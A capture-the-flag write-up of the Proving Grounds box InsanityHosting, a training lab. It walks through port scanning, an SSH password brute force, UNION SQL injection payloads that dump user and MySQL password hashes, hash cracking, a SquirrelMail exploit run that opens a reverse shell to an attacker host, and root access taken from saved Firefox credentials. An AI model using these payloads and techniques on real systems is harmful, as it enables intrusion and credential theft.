Skip to content
HackIndex logo

HackIndex

InsanityHosting Writeup - Proving Grounds

Hard Linux
Proving Grounds Discuss on Discord

Last updated May 10, 2026 • 6 min read

Joshua

HackIndex Creator

Discovery

A full TCP scan reveals three open ports: FTP on 21, SSH on 22, and HTTP on 80. FTP allows anonymous login but directory listing fails. The web server is Apache 2.4.6 on CentOS running PHP 7.2.33.

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP 
[+] Discovering all open TCP ports...
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-15 17:00 +0100
Nmap scan report for 192.168.152.124
Host is up (0.024s latency).
Not shown: 65401 filtered tcp ports (no-response), 131 filtered tcp ports (host-prohibited)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

[+] Running scripts & versions on TCP ports: 21,22,80
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: ERROR
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/7.2.33)
|_http-title: Insanity - UK and European Servers
Service Info: OS: Unix

Directory enumeration on the web root turns up several interesting paths: /monitoring, /webmail, /phpmyadmin, and a public /phpinfo.php.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u "http://$TARGET_IP" -w /usr/share/seclists/Discovery/Web-Content/common.txt --random-agent 
===============================================================
Gobuster v3.8.2
===============================================================
[+] Url:  http://192.168.152.124
===============================================================
.htpasswd            (Status: 403)
.htaccess            (Status: 403)
cgi-bin/             (Status: 403)
css                  (Status: 301)
data                 (Status: 301)
index.php            (Status: 200)
index.html           (Status: 200)
monitoring           (Status: 301) [--> http://192.168.152.124/monitoring/]
news                 (Status: 301) [--> http://192.168.152.124/news/]
phpmyadmin           (Status: 301) [--> http://192.168.152.124/phpmyadmin/]
phpinfo.php          (Status: 200)
webmail              (Status: 301) [--> http://192.168.152.124/webmail/]
===============================================================
Finished

The news page at http://192.168.152.124/news/ contains broken CSS and references http://www.insanityhosting.vm/news/welcome, which exposes a hostname. Adding both www.insanityhosting.vm and insanityhosting.vm to /etc/hosts fixes the CSS and reveals the CMS: Bludit 3.13.1.

┌──(kali㉿kali)-[~]
└─$ addhost $TARGET_IP www.insanityhosting.vm
┌──(kali㉿kali)-[~]
└─$ addhost $TARGET_IP insanityhosting.vm 
[+] Added: 192.168.152.124 → www.insanityhosting.vm
[+] Added: 192.168.152.124 → insanityhosting.vm

The news page author is otis. The webmail app at /webmail is SquirrelMail 1.4.22. phpMyAdmin 5.0.2 is also exposed. The /monitoring path redirects to a login page.

Running a vhost scan against insanityhosting.vm returns no additional subdomains. Browsing to /phpinfo.php confirms the document root is /var/www/html and MySQL is enabled.

Enumeration

FTP

Anonymous FTP login works but yields no usable directory listing. Quick credential checks against known usernames turn up nothing on FTP or SSH directly.

Monitoring App — SQL Injection

Logging into the monitoring app at http://www.insanityhosting.vm/monitoring/ requires credentials. The FTP anonymous session and a Hydra run against SSH with username-as-password patterns produce no results. Switching to a full rockyou run against SSH with the discovered username otis gets a hit.

┌──(kali㉿kali)-[~]
└─$ hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://$TARGET_IP 
[22][ssh] host: 192.168.152.124   login: otis   password: $OTIS_PASSWORD
1 of 1 target successfully completed, 1 valid password found

SSH with those credentials drops the connection immediately: This account is currently not available. The account has no shell. The credentials do work on the monitoring app and on SquirrelMail though.

Inside the monitoring app, adding a new host entry triggers an email report. The host name field is injectable. Single-quote payloads produce errors visible in the UI but no mail output. Switching to double-quote as the delimiter and building a UNION-based payload produces usable output via the email report.

Column count and output position are determined by injecting into the first column of a four-column result set.

Database Enumeration via SQLi

The injection syntax that works in the host name field:

" UNION SELECT database(),NULL,NULL,NULL -- -

Result in the emailed report:

ID, Host, Date Time, Status
monitoring,,,

Enumerate tables in the current database:

" UNION SELECT table_name,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database() -- -
ID, Host, Date Time, Status
hosts,,,
log,,,
users,,,

Dump the users table:

" UNION SELECT GROUP_CONCAT(CONCAT_WS(':',id,username,password,email)),NULL,NULL,NULL FROM monitoring.users -- -
ID, Host, Date Time, Status
"1:admin:$2y$12$huPSQmbcMvgHDkWIMnk9t.1cLoBWue3dtHf9E5cKUNcfKTOOp8cma:admin@@insanityhosting.vm,
2:nicholas:$2y$12$4R6JiYMbJ7NKnuQEoQW4ruIcuRJtDRukH.Tvx52RkUfx5eloIw7Qe:nicholas@@insanityhosting.vm,
3:otis:$2y$12$./XCeHl0/TCPW5zN/E9w0ecUUKbDomwjQ0yZqGz5tgASgZg6SIHFW:otis@@insanityhosting.vm",,,

Three bcrypt hashes. Save them to a file and run hashcat with mode 3200.

┌──(kali㉿kali)-[~]
└─$ hashcat -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -m 3200 -w 3 
$2y$12$./XCeHl0/TCPW5zN/E9w0ecUUKbDomwjQ0yZqGz5tgASgZg6SIHFW:$OTIS_PASSWORD

Status: Cracked (1/3)
The admin and nicholas hashes did not crack.

Only otis cracks — and that password was already known. The admin and nicholas hashes do not fall to rockyou. The SQL injection also has access to mysql.user since the app connects with elevated privileges. Dump the MySQL user table to look for additional hashes.

" UNION SELECT GROUP_CONCAT(CONCAT_WS(':',Host,User,plugin,authentication_string)),NULL,NULL,NULL FROM mysql.user -- -
ID, Host, Date Time, Status
"localhost:root::,insanityhosting.vm:root::,127.0.0.1:root::,::1:root::,localhost:::,insanityhosting.vm:::,%:elliot:mysql_native_password:*5A5749F309CAC33B27BA94EE02168FA3C3E7A3E9",,,

User elliot has a MySQL native password hash. Identify the format and crack it.

┌──(kali㉿kali)-[~]
└─$ hashid hashes_mysql.txt
┌──(kali㉿kali)-[~]
└─$ hashcat -a 0 hashes_mysql.txt /usr/share/wordlists/rockyou.txt -w 3 -m 300 
--File 'hashes_mysql.txt'--
Analyzing '*5A5749F309CAC33B27BA94EE02168FA3C3E7A3E9'
[+] MySQL5.x
[+] MySQL4.1
--End of file 'hashes_mysql.txt'--

5a5749f309cac33b27ba94ee02168fa3c3e7a3e9:$ELLIOT_PASSWORD

Status: Cracked
Hash.Mode: 300 (MySQL4.1/MySQL5)
Time.Started: Sun Feb 15 20:02:35 2026 (0 secs)

Initial Access

The MySQL password for elliot works on SSH.

┌──(kali㉿kali)-[~]
└─$ ssh elliot@$TARGET_IP 
[email protected]'s password:
[elliot@insanityhosting ~]$ whoami
elliot

SquirrelMail RCE (CVE-2017-7692)

With valid SquirrelMail credentials for otis and a SquirrelMail 1.4.22 install, the next step is a remote code execution exploit. The exploit at EDB-41910 targets SquirrelMail versions up to 1.4.23 via sendmail parameter injection (CVE-2017-7692). It requires valid credentials and that SquirrelMail is configured to use Sendmail as the mail transport — which this box is.

The script logs in, uploads a malicious Sendmail config as an attachment, injects the config path into the user's email address field, then sends a mail to trigger execution. Payload option 2 delivers a reverse shell.

The exploit also has an alternate lower-privilege path: from the SQLi, otis's cracked bcrypt hash gives the same password, and otis can log into SquirrelMail. However, the most direct path is using the elliot SSH session already obtained. The RCE via SquirrelMail is relevant if a shell is needed as the web/mail user instead.

For completeness, here is how to run the exploit to get a shell via SquirrelMail:

┌──(kali㉿kali)-[~]
└─$ bash 41910.sh http://$TARGET_IP/webmail/ 
[*] Enter SquirrelMail user credentials
user: otis
pass:

[*] Logging in to SquirrelMail at http://$TARGET_IP/webmail/
[*] Uploading Sendmail config

[?] Select payload
1 - File write (into /tmp/sqpoc)
2 - Remote Code Execution (with the uploaded smcnf-exp + phpsh)

[1-2] 2
Reverse shell IP: $ATTACKER_IP
Reverse shell PORT: $ATTACKER_PORT

[*] Injecting Sendmail command parameters
[*] Sending the email to trigger the vuln
[*] Waiting for shell on $ATTACKER_IP port $ATTACKER_PORT

Privilege Escalation

Firefox Saved Credentials

Elliot's home directory contains a .mozilla/firefox profile. Firefox stores saved passwords in the profile's NSS key database. Tar up the profile and copy it locally to run firefox_decrypt against it.

user@host ~ $ tar cvf /home/elliot/firefox.tar /home/elliot/.mozilla/firefox/
┌──(kali㉿kali)-[~]
└─$ scp elliot@$TARGET_IP:/home/elliot/firefox.tar ./ 
[email protected]'s password:
firefox.tar                            100%  118MB   8.3MB/s   00:14

Extract the tar and run firefox_decrypt against the default profile directory.

┌──(kali㉿kali)-[~]
└─$ python3 firefox_decrypt.py ./esmhp32w.default-default 
Website:   https://localhost:10000
Username: 'root'
Password: '$ROOT_PASSWORD'

Elliot saved root credentials for a local service (Webmin on port 10000) in Firefox. Try the password directly with su.

user@host ~ $ su root 
Password:
[root@insanityhosting elliot]#

Root shell obtained.

References